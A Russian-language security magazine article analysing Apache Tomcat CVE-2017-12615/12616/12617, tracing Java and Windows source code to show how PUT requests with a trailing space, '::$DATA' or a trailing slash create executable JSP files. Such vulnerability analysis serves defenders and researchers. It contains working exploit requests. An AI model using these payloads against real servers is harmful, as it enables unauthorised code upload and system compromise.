Хакер - Скрытая сила пробела. Эксплуатируем критическую уязвимость в Apache Tomcat
nopaywall
Содержание статьи
Общая информация
Наряду с Apache Struts 2, уязвимость в котором мы разбирали в прошлой статье, под раздачу багов попал и веб-сервер Tomcat. За последнее время было найдено сразу несколько уязвимостей.
19 сентября команда разработчиков в очередной рассылке официально подтвердила наличие и успешный фикс двух уязвимостей, которые получили статус критических. Первая значится под номером CVE-2017-12615. После того как ее запатчили, сразу же нашелся способ обойти заплатку (CVE-2017-12616), и последовал новый фикс. Не поверишь, но вскоре обошли и его — уязвимость носит номер CVE-2017-12617, и ее общий смысл сводится к тому, что неавторизированный пользователь, манипулируя именем файла в PUT-запросе, может создать JSP-файл с произвольным содержимым. Уязвимости подвержены все ветки, начиная с 5.x и заканчивая 9.x.
WARNING
Статья адресована специалистам по безопасности и тем, кто собирается ими стать. Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Стенд
Сначала, как водится, поднимаем тестовый стенд. Я буду использовать версии Tomcat для Windows, так как CVE-2017-12615 и CVE-2017-12616 касаются только их.
Для проверки уязвимостей можно использовать любую из версий — 7.0.81, 8.5.20 или 9.0.0.M26. Все они уязвимы.
Также ты всегда можешь использовать Docker, благо у Apache есть официальный репозиторий, из которого можно поднять любую версию Tomcat одной командой.
docker run -it --rm -p 8888:8080 tomcat:7.0.81
Теперь на порте 8888 у тебя обитает выбранная версия веб-сервера.
После успешного запуска нужно отредактировать конфигурационный файл web.xml и добавить в него вот такие строки.
<init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
Они идут в этот раздел:
<servlet> <servlet-name>default</servlet-name>
Таким образом мы выключаем параметр readonly
, что позволяет использовать запросы PUT
и DELETE
. Но простое включение этой опции, конечно же, не открывает нам возможность записывать и удалять JSP-файлы.
Базовые детали уязвимостей
Для обработки запросов к JSP и JSPX скрипты используют класс org.apache.jasper.servlet.JspServlet
.
/conf/web.xml
246: <servlet> 247: <servlet-name>jsp</servlet-name> 248: <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
А за обработку остальных файлов отвечает org.apache.catalina.servlets.DefaultServlet
. Именно в нем и реализован метод PUT.
/java/org/apache/catalina/servlets/DefaultServlet.java
539: /** 540: * Process a PUT request for the specified resource. ... 548: @Override 549: protected void doPut(HttpServletRequest req, HttpServletResponse resp) 550: throws ServletException, IOException { 551: 552: if (readOnly) { 553: resp.sendError(HttpServletResponse.SC_FORBIDDEN); 554: return; 555: }
Как видишь, работа этого метода зависит от опции readOnly
, которую мы и выключили, так как по умолчанию она установлена в true.
/java/org/apache/catalina/servlets/DefaultServlet.java
162: protected boolean readOnly = true;
Идея эксплоита заключается в том, чтобы заставить PUT-запрос к файлу JSP обрабатываться с помощью DefaultServlet
. Это можно провернуть несколькими способами. Чтобы лучше вникнуть в детали, сначала мы поговорим о методах, которые можно использовать только в версиях для Windows.
Давай запустим Tomcat версии 7.0.79 и выполним такой запрос:
PUT /read.txt%20 HTTP/1.1 Host: tomcat.visualhack:8080 Connection: close Content-Length: 3 any
Запрос на создание файла с пробелом в конце имениЕсли ты знаешь про особенности и ограничения в названиях файлов системы Windows, то, увидев пробел в конце пути, сразу же все поймешь. Дело в том, что файлы, создаваемые штатными методами ОС, не могут содержать пробелы в начале или в конце имени — те просто отбрасываются. Но ведь Tomcat написан на Java, скажешь ты. Чтобы все прояснить, посмотрим на ключевые шаги обработки нашего запроса.
Ты уже знаешь, что за его обработку отвечает DefaultServlet
. Если файл еще не существует, то выполнение передается методу bind
.
/java/org/apache/naming/resources/FileDirContext.java
466: public void bind(String name, Object obj, Attributes attrs) 467: throws NamingException { ... 471: File file = new File(base, name); ... 476: rebind(name, obj, attrs);
Запись данных в файл происходит в FileDirContext.rebind
.
/java/org/apache/naming/resources/FileDirContext.java
21: import java.io.File; 22: import java.io.FileInputStream; 23: import java.io.FileOutputStream; ... 500: public void rebind(String name, Object obj, Attributes attrs) ... 506: File file = new File(base, name); ... 533: FileOutputStream os = null; ... 537: os = new FileOutputStream(file); 538: while (true) { 539: len = is.read(buffer); 540: if (len == -1) 541: break; 542: os.write(buffer, 0, len); 543: }
Обрати внимание на класс java.io.FileOutputStream
. Он открывает файл для записи. Чтобы посмотреть, что происходит в его недрах, нам придется заглянуть в самое сердце тьмы — в исходники Java.
/java/io/FileOutputStream.java
161: public FileOutputStream(File file) throws FileNotFoundException { 162: this(file, false); 163: } ... 194: public FileOutputStream(File file, boolean append) ... 197: String name = (file != null ? file.getPath() : null); 198: SecurityManager security = System.getSecurityManager(); ... 213: open(name, append);
Метод open
объявлен как native
и служит оберткой для вызова нативного кода на C++. Для этих целей существует механизм Java Native Interface (JNI).
/java/io/FileOutputStream.java
259: private native void open(String name, boolean append)
/windows/native/java/io/FileOutputStream_md.c
56: JNIEXPORT void JNICALL 57: Java_java_io_FileOutputStream_open(JNIEnv *env, jobject this, 58: jstring path, jboolean append) { 59: fileOpen(env, this, path, fos_fd, 60: O_WRONLY | O_CREAT | (append ? O_APPEND : O_TRUNC)); 61: }
Java Native Interface обращается к методу fileOpen
, который, в свою очередь, передает управление winFileHandleOpen
.
/windows/native/java/io/io_util_md.c
284: fileOpen(JNIEnv *env, jobject this, jstring path, jfieldID fid, int flags) 285: { 286: FD h = winFileHandleOpen(env, path, flags); 287: if (h >= 0) { 288: SET_FD(this, h, fid); 289: } 290: }
Этот метод в конечном итоге передает управление каноничной функции CreateFileW из WinAPI.
/windows/native/java/io/io_util_md.c
266: h = CreateFileW( 267: pathbuf, /* Wide char path name */ 268: access, /* Read and/or write permission */ 269: sharing, /* File sharing flags */ 270: NULL, /* Security attributes */ 271: disposition, /* creation disposition */ 272: flagsAndAttributes, /* flags and attributes */ 273: NULL);
Из-за такого поведения все системные ограничения на название файла становятся актуальными и для веб-сервера. Таким образом, если мы отправляли запрос на создание файла read.txt
(с пробелом в конце), то вместо этого ОС отбрасывает пробелы и создает просто read.txt
. Это можно легко проверить, используя, например, такой скрипт на Python.
test.py
1: from ctypes import * 2: filename = 'read.txt ' 3: windll.kernel32.CreateFileW ( 4: filename, 0x10000000, 0x2, 5: None, 1, 0x80, None 6: )
Функция CreateFileW и пробел в конце имени файлаИли то же самое на Java.
test.java
1: import java.io.FileOutputStream; 2: public class test { 3: public static void main(String [] args) throws Exception 4: { 5: FileOutputStream io = new FileOutputStream("D:/VisualHack/read.txt "); 6: io.close(); 7: } 8: }
Функция CreateFileW и пробел в JVMЕсли этот фокус провернуть с файлом JSP, результат будет такой же. Веб-сервер парсит URI из запроса и направляет его в обработчик DefaultServer
, а не JspServlet
, потому что расширение запрашиваемого файла воспринимается как «jsp » (с пробелом). А уже внутри метода, в процессе создания файла, пробел отбрасывается, и мы получаем работающий скрипт.
PUT /shell.jsp%20 HTTP/1.1 Host: tomcat.visualhack:8080 <% out.println(31337+1337); %>
Успешное создание JSP-файла через PUTАбсолютно такая же проблема при обращении к альтернативным потокам данных в NTFS (Alternate Data Streams, ADS).
PUT /shell.jsp::$DATA HTTP/1.1 Host: tomcat.visualhack:8080 <% out.println(31337+1337); %>
В новых версиях такой трюк уже не прокатит. Запустим Tomcat версии 9.0.0.M27 и попробуем отправить наш запрос с пробелом.
Фикс на использование пробелов в конце имени файлаТеперь сервер возвращает ошибку и даже указывает «наличие пробела в конце имени файла» в качестве причины. Поэтому самое время перейти к следующему разделу.
Обход фиксов и альтернативная версия эксплоита
Всевозможные пробелы и потоки — это, конечно, интересно, однако хочется чего-то более универсального. Чего-то, что работает независимо от платформы и на последних версиях веб-сервера. И такой вариант есть! Это слеш в конце имени файла.
Но работает этот вектор по другим причинам. Рассмотрим их на примере уже запущенного Tomcat версии 9.0.0.M27. Теперь за обработку файла, отправляемого через PUT-запрос, отвечает отдельный класс — WebResource
.
/java/org/apache/catalina/servlets/DefaultServlet.java
550: protected void doPut(HttpServletRequest req, HttpServletResponse resp) ... 560: WebResource resource = resources.getResource(path); ... 578: if (resources.write(path, resourceInputStream, true)) {
Теперь управление переходит к методу write
.
/java/org/apache/catalina/webresources/DirResourceSet.java
208: public boolean write(String path, InputStream is, boolean overwrite) { ... 220: File dest = null; ... 223: dest = file(path.substring(webAppMount.length()), false);
Дальше в методе file
создается экземпляр класса File
, на основе переданного в запросе пути.
/java/org/apache/catalina/webresources/AbstractFileResourceSet.java
54: protected final File file(String name, boolean mustExist) { ... 59: File file = new File(fileBase, name);
И мы снова телепортируемся в исходники Java.
/share/classes/java/io/File.java
358: public File(File parent, String child) { ... 362: if (parent != null) { 363: if (parent.path.equals("")) { 364: this.path = fs.resolve(fs.getDefaultParent(), 365: fs.normalize(child)); 366: } else { 367: this.path = fs.resolve(parent.path, 368: fs.normalize(child)); 369: } 370: } else { 371: this.path = fs.normalize(child);
В процессе инициализации File
путь проходит нормализацию. Ее выполняет метод normalize
из класса FileSystem
.
/java/io/File.java
149: public class File ... 156: private static final FileSystem fs = DefaultFileSystem.getFileSystem();
Он зависит от операционной системы, на которой выполняется. Для Windows это класс WinNTFileSystem
, а для UNIX-подобных систем — UnixFileSystem
.
/windows/classes/java/io/DefaultFileSystem.java
37: public static FileSystem getFileSystem() { 38: return new WinNTFileSystem(); 39: }
/windows/instrument/FileSystemSupport_md.c
36: #define slash '\\' 37: #define altSlash '/'
/windows/classes/java/io/WinNTFileSystem.java
80: @Override 81: public String normalize(String path) { 82: int n = path.length(); 83: char slash = this.slash; 84: char altSlash = this.altSlash; 85: char prev = 0; 86: for (int i = 0; i < n; i++) { 87: char c = path.charAt(i); 88: if (c == altSlash) 89: return normalize(path, n, (prev == slash) ? i - 1 : i);
На Linux то же самое.
/java/io/UnixFileSystem.java
83: public String normalize(String pathname) { 84: int n = pathname.length(); 85: char prevChar = 0; 86: for (int i = 0; i < n; i++) { 87: char c = pathname.charAt(i); ... 92: if (prevChar == '/') return normalize(pathname, n, n - 1);
Если при парсинге пути попадается символ слеша (/
), то он игнорируется, и в обработку уходит уже путь без него. Это можно легко проверить на практике, набросав небольшой тестовый скриптик.
slash.java
import java.io.File; class slash { public static void main(String [] args) throws Exception { File b = new File("D:\\VisualHack\\Tomcat\\"); File f = new File(b, "shell.jsp/"); System.out.println(f.getPath()); } }
Игнорирование слеша в конце имени файлаТеперь, когда мы в курсе происходящих процессов, отправляем запрос.
PUT /shell.jsp/ HTTP/1.1 Host: tomcat.visualhack:8080 <% out.println(31337+1337); %>
Скрипт создан и отлично выполняется. Миссия выполнена! Конечно же, имеется несколько готовых эксплоитов, которые автоматизируют все рутинные действия. Один из них ты найдешь в репозитории cyberheartmi9.
И если тебе интересно взглянуть на фикс, то вот коммит, который исправляет эту уязвимость.
Выводы
Хоть проблема и вызвана небольшим промахом в реализации проверки пользовательских данных, потенциальный импакт от ее эксплуатации может быть серьезным — вплоть до полной компрометации системы. Так что обновляйся вовремя!
Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall